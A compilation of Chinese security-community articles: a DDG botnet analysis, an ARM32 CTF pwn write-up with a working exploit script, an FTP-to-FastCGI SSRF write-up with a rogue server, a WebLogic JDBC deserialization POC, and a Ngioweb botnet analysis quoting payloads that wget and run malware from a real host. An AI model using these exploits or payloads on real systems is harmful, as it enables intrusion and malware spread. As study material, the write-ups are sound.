受影响企业数目众多，我无法全部通知到，公布这个漏洞可能存在法律风险，因为某些公司并没有要求我提供安全公告。我只联系了少数几个受影响的公司及厂商，这些公司及厂商具备公众漏洞披露计划。对我来说，现在就公布详细信息是一个艰难的决定，因为这样可能直接导致安全风险，但根据历史经验，我们知道[囤积隐藏漏洞](https://blogs.microsoft.com/on-the-issues/2017/05/14/need-urgent-collective-action-keep-people-safe-online-lessons-last-weeks-cyberattack/#sm.00000xl4qcz818edarjiw7w28w6qj)也并不是个好主意。
**5、你的身份？**
我叫Inti，住在比利时。从孩时起我就擅长捣蛋破坏。今年我22岁，是比利时最大广播电台[布鲁塞尔](http://stubru.be/)工作的创意编辑。晚上我会以善良[黑客](http://hackerone.com/intidc)的身份搞些破坏，[Google](http://www.google.com/about/appsecurity/hall-of-fame/reward/)、[Facebook](https://www.facebook.com/whitehat/thanks/)、[Microsoft](http://technet.microsoft.com/en-us/security/cc308575.aspx)、[Yahoo](http://bugbounty.yahoo.com/security_wall.html)等都感谢过我的劳动成果。
**6、还有其他成果吗？**
我劫持过特朗普的推特，创办了[StalkScan.com](http://stalkscan.com/)网站，这个网站可以深入挖掘Facebook的人际关系，我也喜欢在[medium](https://hackernoon.com/@intideceukelaire)上分享我的研究成果。
大家可以关注我的推特了解更多信息。 | 社区文章 |
# DDG僵尸挖矿样本v3016技术分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00. 前言
近日，我们蜜罐捕捉到一列挖矿样本，经分析确认为DDG.Mining.Botnet样本的3016版本。与其上一版本相比，3016版本采用了新的分布式框架Memberlist来构建僵尸网络。基于该框架，DDG僵尸网络可以更稳定的实现C2去中心化，以及更灵活的管理和扩展集群。
## 0x01. 样本对比
DDG 是一个利用SSH 、
Redis相关漏洞入侵服务器并构建僵尸网络，利用服务器资源挖取虚拟货币（门罗币）的Linux恶意程序。经过分析，梳理出样本行为整体流程如下：
通过和上一版本v3014的DDG样本对比后，发现样本针对ssh，redis的攻击利用模块并没有太大变化，两个版本基本一致。通过bindiff可以看到更直观看到（ssh攻击模块）：
而V3016版本的更新点Memberlist是一个基于Gossip协议实现，golang开发的分布式框架。Gossip是一种去中心化、容错并保证最终一致性的协议。它的基本思想和疫情传播类似，通过不断的和集群中的节点交换信息，经过多次交互之后，Gossip协议即可将信息传递到所有的节点，从而快速收敛达到一致。
## 0x02. 样本具体分析
### 1\. 还原函数名
DDG采用golang开发，且在编译成可执行文件时去除了符号表，但是其中包含了一个叫.gopclntab的section，里面存着程序所有导入包的符号信息：
利用网上已有的自动化工具实现大部分函数名的还原：
### 2\. 前置分析
go程序有个特点，.gopclntab中存的函数名=包名_包下的函数名，所以直接搜索main关键字就可以找出main包中所有的函数，我们从main_main函数开始入手分析。可以看到前面跟v3014版本一致，首先是检测运行的环境参数，再利用golang的VividCortex/godaemon包将自己设为守护进程：
接着流程还是跟v3014一致，
先是调用main_singleInstance函数通过判断是否存在3016.lock文件来确定ddg主程序是否已经在受害者机器上运行：
初次运行的话则调用main_NewGuard函数实现一些特殊文件的变化的监控。具体实现采用的golang的fsnotify包，监控的文件对象有三个：/root/.ssh/authorized_keys，/var/spool/cron/crontabs/root，/var/spool/cron/root。
接着调用main_NewBackdoor，通过其中的main__ptr_backdoor_injectSSHKey函数写入内置的公钥到受害者机器的authorized_keys中，完成ssh后门的植入。
### 3\. 集群节点构建
创建守护进程，文件监控和后门植入完成后，两个版本的接下来的流程就不再完全一致了：
从汇编代码可以清楚的看到v3016版本采用main_MustXList函数替换了v3014版本的main_NewXHosts函数，且代码的执行流顺序也有所改变，v3016没有再先从内置的IP列表中下载并运行挖矿程序，而是选择先构建分布式节点，加入集群网络。节点构建整体流程如下：
我们跟进这个新的函数，看看其具体实现。首先获取受害者机器当前用户家目录，再将路径与3016.bs拼接后打开：
打开文件后，则利用golang的bufio包循环读取文件中的每行内容，并将不在内置列表中的内容存入内置的ip列表中，完成后关闭文件：
接着通过ddgs_xlist_New函数构建分布式节点。节点名字是以ddg版本号+主机名md5组成，并将刚刚更新后的内置ip列表与节点名字一起传入该函数中。
若样本初次到达受害者机器，3016.bs文件肯定不存在，那么传入ddgs_xlist_New的ip列表就采用最原始内置的：
跟进ddgs_xlist_New函数，就会发现该样本采用的是hashicorp的go开源库memberlist构建分布式网络，而这在v3014版本中是没有的。
借助Memberlist的文档，继续跟进。可以看到首先创建transport和对应的udp和tcp端口的Listener，用于节点之间底层的网络通信，其中udp用于传输ping，alive等消息，tcp传输PUSH-PULL消息来同步节点之间的数据。
PUSH-PULL消息的含义：
接着创建配置启动项，可以看到DDG采用的是默认广域网配置：
由于memberlist是开源的，所以可以在config.go中看到其缺省配置，默认端口号为7946：
而其中DefaultWANConfig是建立在DefaultLANConfig之上的：
与数据包中的通讯端口一致：
配置项创建完成后，通过此配置项创建memberlist，并启动对应的listener：
创建memberlist完成后，再获取本地节点状态等信息以及地址，然后尝试连接ip列表中的远端节点从而加入远端的集群，让远端节点知道本地节点的存在，并尝试通过pushPull消息发送和接收节点信息和数据，最后返回成功连接上的远端节点数量或错误信息。
当返回错误信息时，广播leave消息，但是listener仍然启用，继续参与gossip和状态更新，直到超时：
接着调用ddgs_xlist__ptr_bootstraps_Bootstrap函数，通过Memberlist包的Members函数获取到所有已知存活节点的信息并返回。
返回后将这些新获取到的远端节点信息与内置ip列表合并：
DDG会按照以上的流程循环100次，不断尝试加入远端集群中来获取这些远端节点所拥有的所有存活节点列表。
最终当本地存活节点列表与远端节点的列表达到一致后就跳出循环返回：
前面说到传输节点数据用到的是tcp，在数据包中可以看到确实采用的是tcp传输push-pull消息来同步节点之间的数据：
### 1\. 后置分析
同步完远端节点的数据信息到本地节点后，接下来流程就跟v3014基本一致了，先是通过main_NewMinerd下载挖矿程序，再通过main_pingpong函数访问内置ip列表中的ip获取配置文件，接着调用main__ptr_minerd_Update函数更新挖矿程序的配置，最后通过ddgs_cmd__ptr_Table_Do函数执行配置文件中返回的控制命令，完成攻击模块的调用、下载最新的bash传播脚本等。
其中获取的配置文件如下(msgpack编码):
以上几个函数在基础功能和流程上，与V3014相比没有太大的变化。下载下来的挖矿程序也一致，依然是v3014版本使用的qW3xT.4，采用开源挖矿程序XMRig/2.8.1编译而成。这里就不一一展开做详细分析了：
最终样本会在受害者机器当前用户家目录下的.ddg目录写入3016.bs文件来存放本地所有的节点列表，可以看到总计1872个：
完整列表：[3016.bs](https://github.com/iceMatcha/ddg_ip_list/blob/master/3016.bs)
### 2\. 总结
笔者认为DDG采用基于Gossip协议的memberlist，主要优点有以下两方面：
1. 在集群中所有节点之间都是对等的，节点之间会相互通信，不再是依靠某一特定节点来同步状态和数据传递，比如当某个节点挂掉时，不再需要主节点来检查发现并更新状态后同步到集群，因为当集群中任意一个节点发现该节点宕机，就会通过Gossip广播给整个集群，最终所有节点都可以知道。这样任意一个集群中的节点都可以用作c2来控制管理整个集群。
2. 即使集群数量很大，但每个节点的负载也不会增加很多，几乎是恒定的，这样攻击者能管理控制的集群规模也可以扩展很多。
## 0x03. 后话
分析完3016版本，在访问其中一个c2:http://132.148.241.138:8000/static/时发现样本版本在短短十几天已经又迭代了多个版本了，已经到了3019，可以看出作者很活跃。
每个版本大致看了下，在3017，3018版本采用upx
3.95压缩了下，减小了elf文件的体积；最新的3019版本没有压缩，只是样本名字变成了fmt.*。几个版本与v3016相比，程序总体流程没有太多改变，应该是在小部分函数上有所变化，感兴趣的朋友可以自行下载跟进一下。
## 0x04. 参考链接
https://github.com/sibears/IDAGolangHelper
<https://github.com/hashicorp/memberlist>
<https://www.colabug.com/1010287.html>
<https://blog.netlab.360.com/https-blog-netlab-360-com-a-fast-ddg-3014-analyze/> | 社区文章 |
## arm32-pwn从环境搭建到实战
关于arm的pwn还是比较令人头疼的，首先汇编比较难看懂，其次就是ida反编译出来的东西还会有错误，比如之后要讲的题目中栈的分布就和ida解析出来的完全不一样。那么先来看一看环境的搭建。之前有人发过完整的64的环境搭建，32的环境搭建和实战还是有一些不同的
### 环境搭建
环境的搭建应该是现在arm题目中比较麻烦的一个点。
##### 安装qemu
`apt-get install qemu`
然后可以查看其有哪些指令qemu-[tab][tab],其中有一个`qemu-arm`这个就是我们运行32的指令。
##### 依赖库安装
依赖库一般可以利用apt-get来进行一个安装，这里我们需要装的库是
`sudo apt-get install -y gcc-arm-linux-gnueabi`
在安装这个的时候会有一个错误就是很多其他的依赖库没有安装,这个时候`sudo apt-get -f
install`就会自动进行安装，然后再执行上面的语句就可以成功的安装了。
这样整个环境就基本是安装好了
### 实例分析（xman2018冬令营入营题）
题目本身不难，但是很有借鉴意义和之前上海大学生的比赛结合起来刚好就是一个arm32和arm64非常完整的教程了。
##### 保护查看
[*] '/media/psf/Home/Downloads/pwn'
Arch: arm-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x10000)
开了canary，这个保护本身是比较麻烦的了
##### 静态分析
###### 主函数分析
一个主函数我改了一下函数名，原来是去符号的。很明显的有一个栈溢出，然后一个sprintf可以进行一个canary的泄漏，这里的思路还是很清晰的。
###### string分析
这里有几个比较敏感的函数字符串，所以这个题目如果放在linux里我估计大家分分钟秒了，但是这里就有些麻烦了，基本思路是rop了，因为arm也是传递参数的。
###### 栈分布分析
这个栈分布其实是很难去泄漏出canary的但是我在运行程序的时候试试了进行输入0x14*'a'发现好像栈并不是那样的能泄漏出一些东西
#### 动态分析
##### 运行环境
arm主要是进行一个动态的分析，因为静态下很容易不准确，所以这里记录下动态分析一些指令
`qemu-arm -L /usr/arm-linux-gnueabi ./pwn`
这是运行程序，-L是依赖库
`socat tcp-l:10002,fork exec:"qemu-arm -g 1234 -L /usr/arm-linux-gnueabi
./pwn",reuseaddr`
在10002端口运行我们的arm程序进行一个交互，其中关于gdb如何attach上的这里就不多说了，在上一位写arm64的师傅那写的很详细
##### canary查看
上面的静态分析可以看出来canary应该是在我们输入0x14的时候泄漏出来的，所以这里试试0x14因为ida中stack看不出canary在什么位置，而且栈里面也看不出来，这里就直接断点在cmp,可以看见我们的canary就在我们输入的后面。
这样canary基本就已经成功的leak出来了。
##### padding确认
这里我是一个一个试试出来的，一个是ebp的值一个是ret的值，我们就在ret的位置填充一个rop
#### arm32的参数调用
调用规则是从r0 -> r3 其他的通过栈进行传递，还是比较简单的
然后记录几个命令的用法。
`bx == call`这是题目本身需要的一个rop中的指令
#### ROP搜寻
首先我们明确一下自己的思路
1、我们有system函数，所以最后肯定是回到system函数
2、我们有/bin/sh的字符串，这里我们需要把他转移到我们的r0寄存器
3、肯定只能利用ROP，因为他是传参的
没有目标的搜索都是无用功！
其实按照经验来说一般rop常用的就是mov和pop我们就截取出这些
思路解析：
一、先进行一个`pop {r4,r5,r6,r7,sb,sl,pc}`
二、然后`pop {r3,pc}`
三、`mov r0,r7;bxr3`这样我们就可以成功的调用system函数然后getshell了。
#### exp
from pwn import *
#context.log_level = 'debug'
p = remote('39.105.216.229', 9991)
p.recvline()
p.send('a' * 18)
r = (p.recv())
canary = r[24:28]
p.recvuntil('Come On\n')
pop_r3_pc = 0x000104a8
pop_r4_r5_r6_r7 = 0x00010804
mov_r0_r7_call = 0x000107f4
payload = ""
payload += p32(pop_r4_r5_r6_r7)
payload += p32(0) # R4
payload += p32(0) # R5
payload += p32(0) # R6
payload += p32(0x21044)
payload += p32(0) # R8
payload += p32(0) # SB
payload += p32(0) # SL
payload += p32(pop_r3_pc)
payload += p32(0x104fc)
payload += p32(mov_r0_r7_call)
pay = 'A' * 24 + (canary) + p32(0xdeadbeef) + payload
p.send(pay)
p.interactive()
#### 总结
arm题目的本身都不难但是搭建环境总是让人烦恼不少，这次总结下了搭建到调试的过程基本就是
`安装qemu -> 依赖库安装 ->程序的试运行 -> 程序的调试(这里利用socat进行本地环境搭建非常方便)->exp编写` | 社区文章 |
# 前言
想了好久的题目，不知道该用什么样的标题去吸引人，webshell的检测研究已经有很多文章披露了，在兜哥的机器学习书中也被反复作为案例提及，这里Webshell检测都是基于文件特征的，并不是基于流量特征的检测。
# 个人思考
在查阅了大量论文研究和实际案例后发现国内在webshell检测上的思路似乎没有什么新的突破，总结下来Webshell检测其实无外乎统计学检测、基于黑白名单的检测、基于opcode的机器学习研究，这中间也看到部分闪光点，比如说基于抽象语法树的命令执行节点截取、基于抽象语法树的评分规则、基于关联规则分析（看了一个星期的关联算法，自己实践结果惨不忍睹）等。
统计学检测：主要是指通过[neopi](https://github.com/Neohapsis/NeoPI
"neopi")来统计文件的熵值、重合指数、最长字符串、文件压缩比和特征库匹配来评判文件是否为webshell，但是经过实践后发现这种方法应该只能适用于大马和加密马，对于小马和一句话木马，这几类特征很不明显，拿这个特征来做结果非常糟糕。
基于opcode：这里我觉得参照兜哥的文章（[传送门](https://mp.weixin.qq.com/s?__biz=MzIwNjEwNTQ4Mw%3D%3D&mid=2651577090&idx=1&sn=924b14ba842f57c34f06995416a98360&chksm=8cd9c5e6bbae4cf0e3eed6192133c6c87de47cfcc911fca90d86f1383d5ec2f6f1cf661aaeb6
"文章链接")）比较好，一句话总结就是使用opcode的序列来建立词袋模型，最终对这个词袋模型进行训练和测试。
但是这里的检测方法笔者感觉范化能力还不够强，Webshell主要分为大马、小马、一句话木马，这三类类型说实话文件特征其实都不太一样，所以想要用一个模型去兼容三类文件的检测，其实不是一件容易的事。
这里使用机器学习的模型来作为检测算法，主要原因有1）机器学习的模型范化能力较强，能够通过学习来检测上述三类文件2）相较传统检测方法，机器学习的算法模型较为统一，使用起来较为简便（笔者并不是专门研究算法的，只是在当前场景下机器学习算法更为适用，所以就用了）
# 抽象语法树
对于抽象语法树，如果做过自动化代码审计的同学就一定知道，如果想要构建CFG图一般都要以抽象语法树作为根基，这个抽象语法树其实就是代码的另一种结构体，它会将代码转化为一棵树，这棵树上存放的就是父亲节点是语法结构，孩子节点是具体的语法类型或是语义参数。
以“$data =
eval('111');”为例，这里其实就是一个赋值语句，所以根节点类型为Expression，表示这是一个等式语句，次节点为Assign，表示这是一个参数定义语句，最后就是各参数的节点类型，比如说Variable，表示参数名，这里的eval函数其实有点特殊，如果是一般函数，可能就是FunCall节点类型，不过这里为Eval，最后就是参数类型String_
# 特征工程
机器学习最重要的就是特征选择，这里借鉴了前人的思想，以及自己在自动化代码审计上的一些实践经验，选取抽象语法树来作为学习特征。笔者认为如果想要做到深度检测，那么一定要从源码出发，那么对源码进行编译比较好的方式一就是opcode，利用php插件来获取opcode序列。
二就是如果使用抽象语法树来获取文件结构特征，会不会也是一种比较好的思路？因为抽象语法树和opcode在某种程度都能反映文件的结构特征和语义特征，所以在检测模型上可以说其实并无差异，但是相较于opcode，抽象语法树的通用性我觉得是必须要认可的，如果现在换一种语言，比如说c或者java，我们同样想要去检测恶意文件，c的话比如说是提权脚本，java的话则是java
webshell（这一块目前正在做，就是数据集少的有点可怜），那么我们其实都可以使用本文方法来做检测，所以在通用性上笔者认为AST其实更胜一筹。
这里我使用[PHP-Parser](https://github.com/nikic/PHP-Parser "PHP-Parser")来提取抽象语法树，通过编写抽取规则，将php代码转化为抽象语法树的节点结构和语义参数，这里可能没有提到数据清洗，在实践过程中发现无论是opcode还是ast，对于PHP的另一种文件标识符"<?"无法识别，导致最终结果只有一个string类型，所以数据清洗阶段主要就是在遇到"<?"标识符重构php代码。
这里利用了反射来获取一个ast对象的名称，同时对参数语义做了一定的识别，这里识别规则写的很简单，当出现"<?"和";"符号的时候，判定此处存在php代码，那么交给另一个文件做php文件的规则补齐，继续对该文件进行ast的提取，这里做的主要理由就是当遇到如file_put_contents或者eval这种能够执行php语句的函数，里面的参数其实也会引起歧义，所以这里对参数作进一步处理，实现了简单的参数语义识别。
到这里特征工程其实就已经构建完毕，后续使用tfidf来对输出的AST来构建词袋模型。
# 数据集
在谈算法模型前，可能要提及的就是数据集，比较关心的就是有没有统一的数据集？这里我都是通过github进行搜索非同源仓库，但是其中的代码相似度也没有去做检查，最终搜集到的有效的webshell样本为2563个，而白样本则都是开源的cms，有效样本数为7230个，这里一开始对白样本的选取比较关注一些国际通用的cms，比如wordpress、phpmyadmin等，但是实际测试测试并不如人意，后来推测由于白样本都是偏框架类型的源码，在进行学习的时候特征维度和黑样本特征维度其实有很大偏差，所以后续加入了一些比较老版本的cms，这类cms都是贴近php原生环境的代码，这么做也是想要提高检测的范化能力。
都是以github用户名命名的，有心者可以去搜搜看
白样本的选择就比较随意了，老的新的，带框架不带框架的都包含进来了。
回到算法选取其实没什么好讲的，随机森林、xgboost和深度学习都来一套，然后进行调参进行横向比较，这个没什么好说的。最终检测率较好的就是xgboost和mlp算法。
# 实验结果
使用随机森林算法准确率可以达到99.10%，不过离实际落地感觉还有很大的差距。
# 后记
看了那么多篇论文，基本上有效数据量都不超过2000，检测成功率几乎都在95%以上，但是这个检测率看看就好，如果想要落地，还是有很多webshell变种没有考虑进去的，如果想要真的落地，webshell的样本积累量可能要达到一个新的高度（个人能力有限，只能github搜），写这么多也只是想提供一个新的解决思路（目前没看到有人提出用ast来实现webshell检测）以及其他ast能够应用的场景。
上述如有不当之处，敬请指出~ | 社区文章 |
# hxp2020的resonator题解分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
题目连接：<https://2020.ctf.link/internal/challenge/cb926472-66b2-4212-af86-b4aaf675d6ea/>
这个题我感觉很有意思，网上没有找到wp，所以来写一下wp，题目给了环境，可以注意到给的www.conf里的fpm是监听的9000端口，也就是和之前遇到的一些fastcgi的攻击有关
题目也非常简单，代码就5行，就`file_put_contents`和`file_get_contents`，这个有什么办法可以rce吗？仅仅从php的代码来看，看不出什么漏洞，那就只有看看php的源代码了
<?php
$file = $_GET['file'] ?? '/tmp/file';
$data = $_GET['data'] ?? ':)';
file_put_contents($file, $data);
echo file_get_contents($file);
## 解题
这里先给出poc和利用方法，第一步先生成fastcgi的攻击poc：
第二步在自己服务器上面搭好恶意的ftp服务并且监听2333端口：
import socket
host = '0.0.0.0'
port = 23
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)
conn, address = sk.accept()
conn.send("200 \n")
print '200'
print conn.recv(20)
conn.send("200 \n")
print '200'
print conn.recv(20)
conn.send("200 \n")
print '200'
print conn.recv(20)
conn.send("300 \n")
print '300'
print conn.recv(20)
conn.send("200 \n")
print '200'
print conn.recv(20)
print "ck"
conn.send("227 127,0,0,1,8,6952\n")
print '200'
print conn.recv(20)
conn.send("150 \n")
print '150'
print conn.recv(20)
conn.close()
exit()
第三步发送整体的payload得到flag，这里的payload是gopherus生成的poc从gopher://127.0.0.1:9000/_之后开始取的：
## 分析做题的过程和思路
现在来分析一下php的源码吧，调试php的c源码这个应该都没有问题，直接从ftp协议解析的地方开始，我选择的是在window下面附加到php的http服务，下面是index.php的代码
然后分析走到ftp协议时可以干一些什么，首先断点在连接tcp之后，在tcp连接成功后，他会得到服务端的返回内容，如果内容是200到299直接就不会报错，所以我们恶意服务器就返回满足他的条件的值就行
继续跟踪发现这里得到的返回内容
这里也就是为什么要是`200 \n`了，第4个字符必须得是空格才会结束不然就一直循环了
然后也就到了第二个判断，这里判断是否会有密码，但是也必须是200到299，所以我们为200也可以过
然后就到了第三个判断，为200也可以过
第四个判断就得300了，因为`allow_overwrite`不为真
就到了第五个判断了，这次就得为200，不然就会进入ipv6的解析
第六个判断了，这次就得为227并且后面得有符合条件的字符串，因为他会把后面的字符串解析为ip和端口
这也是为什么poc里面的是`,`为ip地址的分隔，先解析ip，得到ip为`127.0.0.1`
经过测试计算发现为6952后就会得到9000的端口
然后就会从解析的ip和端口进行写入数据
所以我们在window上面监听9000端口
然后继续执行，发现成功建立了socket连接
然后到了第七个判断，直接为150就可以继续执行
然后就会把写入的句柄交到新的tcp连接上面，剩下的就是一气呵成了，然后就可以看到我们收到的数据和`file_put_contents`里面写入的一样
总结：感觉作为一个web手还是得多了解一下关于语言底层的构造，这样可能就会发现更多的特性和技巧。 | 社区文章 |
**作者：thiscodecc@墨云科技VLab Team
原文链接：<https://mp.weixin.qq.com/s/lUAkk9iI1yUBjy4l1eFYpg>**
### 漏洞简述
2021年1月12日,墨云安全V-Lab实验室向Oracle官方报告了Weblogic Server
反序列化JDBC漏洞,2021年4月21日Oracle发布了致谢信息。
2019年11月底Yang Zhang等人在BlackHat上有个议题,提到MySQL JDBC客户端反序列化漏洞。议题地址
<https://i.blackhat.com/eu-19/Thursday/eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack.pdf>
读完这个议题后觉得挺有意思的，于是花了一些时间在WebLogic中找了一条在反序列化调用链中能发起JDBC请求的调用链，但是在jdbc请求的过程中我并没有发现执行ObjectInputStream.readObject的地方，由于WebLogic在高版本的JDK中使用了JEP290特性注册了ObjectInputFilter，那么即使我发现有ObjectInputStream.readObject的地方应该也无法进行RCE。用这种方法去读取weblogic上面的文件时，我直接使用恶意的mysql
db没有成功读取到weblogic上面的文件，恶意的oracle db网上没有现成的，这里我选择了放弃自己写一个恶意的oracle
db，最后给oracle提交这个漏洞的时候，只能证明在内网发起一个jdbc请求，危害比较低，cvss评分只有6.5。
### 时间线
* 2021年1月12日向Oracle官方报告了此漏洞
* 2021年1月13日Oracle分配了issue编号
* 2021年1月25日Oracle确认在下一个补丁日修复此漏洞
* 2021年4月17日Oracle分配CVE编号CVE-2021-2294
* 2021年4月21日Oracle发布致谢信息
### 影响版本
* 10.3.6.0.0
* 12.1.3.0.0
* 12.2.1.3.0
* 12.2.1.4.0
* 14.1.1.0.0
### 漏洞分析
漏洞代码位于ojdbc6.jar(这个漏洞是影响全版本的,不同版本的weblogic引入的jar不一样,测试可以把ojdbc*.jar引入到项目里面),oracle.jdbc.pool.OraclePooledConnection.class文件的readObject方法调用了this.oracleDriver.connect
->
->
->
->
->
->
->
在这里发起了jdbc请求
验证POC:
java.util.Properties jup = new java.util.Properties();
jup.setProperty("InitialLimit", "1");
jup.setProperty("MinLimit", "1");
jup.setProperty("MaxLimit", "2");
Class<?> aClass = Class.forName("oracle.jdbc.driver.OracleDriverExtension");
Class<?> aClass1 = Class.forName("oracle.jdbc.driver.T4CConnection");
Constructor<?> declaredConstructor1 = aClass1.getDeclaredConstructor(String.class, Properties.class, aClass);
declaredConstructor1.setAccessible(true);
//ip
String ip = "127.0.0.1:1111";
Object o = declaredConstructor1.newInstance("jdbc:oracle:thin:@" + ip + ":src", jup, null);
//password
Constructor<OpaqueString> declaredConstructor = OpaqueString.class.getDeclaredConstructor(String.class);
declaredConstructor.setAccessible(true);
OpaqueString opaqueString = declaredConstructor.newInstance("123456");
Field password = aClass1.getDeclaredField("password");
password.setAccessible(true);
password.set(o, opaqueString);
//userName
Class<?> aClass2 = Class.forName("oracle.jdbc.driver.GeneratedPhysicalConnection");
Field userName = aClass2.getDeclaredField("userName");
userName.setAccessible(true);
userName.set(o, "root");
OraclePooledConnection oraclePooledConnection = new OraclePooledConnection();
//physicalConn
Field physicalConn = oraclePooledConnection.getClass().getDeclaredField("physicalConn");
physicalConn.setAccessible(true);
physicalConn.set(oraclePooledConnection, o);
serialize(oraclePooledConnection, "./vlab.ser");
发送POC,wireshark抓流量看下
### 修复建议
1.禁用 T3 /IIOP协议：如果您不依赖 T3 /IIOP协议进行JVM通信，可通过暂时阻断 T3 /IIOP 协议缓解此漏洞带来的影响。
2.更新最新补丁，参考Oracle官网发布的补丁:
<https://www.oracle.com/security-alerts/cpuapr2021.html>
* * * | 社区文章 |
**原文链接：<https://blog.netlab.360.com/linux-ngioweb-v2-going-after-iot-devices-en/>**
**译者：知道创宇404实验室翻译组**
### 背景
2019年6月21日，我们发布了有关代理僵尸网络Linux.Ngioweb的[博客](https://blog.netlab.360.com/an-analysis-of-linux-ngioweb-botnet-en/ "博客")。
2020年8月4日，我们捕获了一批VT检测为零的ELF文件，它们是Ngioweb的变种。我们把它命名为`V2`。
两周后的8月16日，我们注意到有9个Nday漏洞用于传播Ngioweb
V2样本，涉及x86（32/64），ARM（32/64），MIPS（MIPS32/MIPS-III）和PPC，日立SH，IBM
S/390和其他CPU架构，这标志着Ngioweb开始攻击物联网设备。
2020年11月5日，IntezerLabs在[Twitter](https://twitter.com/IntezerLabs/status/1324346324683206657
"Twitter")上发布了一个名为“bins.october”的zip压缩包，它包含50个针对各种Linux操作系统的Ngioweb样本。
由于VT的检测率较低且新添加了IoT支持，因此我们认为有必要分析一下新变体中的重要的新功能，下面是一些简要概述。
### 概述
Linux.Ngioweb Bot示例的主要功能是在受害者的计算机上实现反向连接代理[[1]](https://hide-ip-proxy.com/what-is-a-backconnect-proxy/
"\[1\]")。攻击者将多个bot内置到代理池中，并通过双层C2协议对其进行控制，然后提供一个Rotating反向代理服务。
目前，我们已经将Linux.Ngioweb分为两个版本，即V1和V2。它们的核心功能是相同的。最大的区别在于，V2将以前以明文形式存储在堆栈上的大量信息放入DATA部分的一种配置中，并使用AES加密。
主要比较如下：
### 漏洞
Ngioweb V2通过以下漏洞传播。可以看出，它没有特定的首选设备。
* [CVE_2013_3568](https://www.exploit-db.com/exploits/28484 "CVE_2013_3568")
* [CVE_2019_8387](https://www.exploit-db.com/exploits/46400 "CVE_2019_8387")
* [CVE_2020_14882](https://github.com/jas502n/CVE-2020-14882 "CVE_2020_14882")
* [D-Link Devices - HNAP SOAPAction-Header RCE](https://www.exploit-db.com/exploits/37171 "D-Link Devices - HNAP SOAPAction-Header RCE")
* [JAWS_DVR_RCE](https://www.exploit-db.com/exploits/41471 "JAWS_DVR_RCE")
* [NVRmini_cgisys](https://www.exploit-db.com/exploits/40212 "NVRmini_cgisys")
* [Netgear_Voice_GW_RCE](https://www.exploit-db.com/exploits/38449 "Netgear_Voice_GW_RCE")
* [QNAP_NAS_QPS_SID_RCE](https://blog.netlab.360.com/in-the-wild-qnap-nas-attacks-en/ "QNAP_NAS_QPS_SID_RCE")
* [CVE-2017-10271](https://github.com/c0mmand3rOpSec/CVE-2017-10271 "CVE-2017-10271")
以CVE-2017-10271为例，野外的有效负载如下：
POST /**t/Co**ortType HTTP/1.1
Host: {}7401
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: text/xml;charset=UTF-8
Content-Length: 564
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/sh</string></void><void index="1"><string>-c</string></void><void index="2"><string>cd /tmp;wget http://94.102.50.143/WSW0;chmod +x WSW0;sh WSW0;rm WSW0</string></void></array><void method="start"/></object></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>
相应的下载脚本如下所示。该功能非常简单：下载并执行Ngioweb示例，然后将其删除。
#!/bin/sh
n="QILU TYEQ CNII WTBK AJYZ NNVY FBRW WSMK VTLE ONRB"
if [ $# -gt 0 ]; then
n=$@
fi
cd /tmp
for a in $n
do
rm $a
wget http://94.102.50.143/$a
chmod +x $a
./$a
done
for a in $n
do
rm -rf $a
done
rm $0
### BOT 规模
我们能够进入一些DGA域，从而可以了解僵尸网络招募了多少个僵尸程序。下图显示了V1版本的bot数量，大约每天有3k个活动IP。
我们的DNSMon系统在已使用的DGA域名上显示相似的数字。
### Linux.Ngioweb V2的新功能
V2示例包含几乎所有流行的CPU架构。下面，我们看一下X64架构。
MD5:ce4c23642878788ecaedd0903663244d
ELF 64-bit LSB executable, AMD x86-64, version 1 (SYSV), statically linked, stripped
Packer:None
Lib:uclibc
如上所述，Ngioweb V2的核心功能没有改变。读者可以看看我们的最后一篇文章[[2]](https://blog.netlab.360.com/an-analysis-of-linux-ngioweb-botnet/ "\[2\]")。我们将在这里重点介绍Ngioweb V2的新特性。在Ngioweb
V1样本中，C2、数字签名公钥、报表条目等敏感资源配置信息都采用栈串混淆技术进行保护，防止安全人员一眼就发现。V2样本更加隐蔽，并且这些信息被加密。同时，当V2示例报告回C2时，它不再使用硬编码的配置。所有这些都使得它更难被检测到。
#### 新功能1：用于配置信息的AES加密
Ngioweb V2
Bot样本存储DGA种子，DGA、C2生成的域数，数据签名的公钥以及在统一配置中输入报告的信息。此配置使用AES加密进行存储。在需要使用信息时对其进行解密，并在使用后将其销毁，防止敏感信息被简单的内存转储捕获。
Ngioweb的主要功能是动态生成加密和解密算法所需的常量表，这增加了安全研究人员进行分析的难度。
AES加密采用ECB模式，无填充，密钥和密文存储在数据段中，前32字节为密钥，接下来的512字节为密文。
以下面密文为例：
解密配置信息，例如C2为`185.44.75.125:443`，`79.141.168.119:443`。
#### 新功能2：DGA
Ngioweb使用DGA生成的域作为硬编码C2的补充。从V1到V2 Bot样本，DGA的实现没有改变。
具体实现如下：
uint64_t GenSeed(uint32_t& seed, uint32_t mod)
{
uint32_t tmp = 0x41C64E6D * seed + 0x3039;
seed = tmp;
return tmp % mod;
}
string dga(uint32_t& seed)
{
char* HeadBuf[] = { "un", "under", "re", "in", "im", "il", "ir", "en", "em",
"over", "mis", "dis", "pre", "post", "anti","inter",
"sub", "ultra", "non", "de","pro", "trans", "ex",
"macro", "micro", "mini","mono", "multi", "semi", "co" };
char* BodyBufA[] = {"able","ant","ate","age","ance","ancy","an","ary",
"al","en","ency","er","etn", "ed", "ese","ern","ize",
"ify","ing","ish","ity","ion","ian","ism","ist","ic","ical",
"ible","ive","ite","ish","ian","or","ous","ure" };
char* BodyBufB[] = {"dom","hood","less","like","ly","fy","ful","ness",
"ment","sion","ssion","ship","ty","th","tion","ward" };
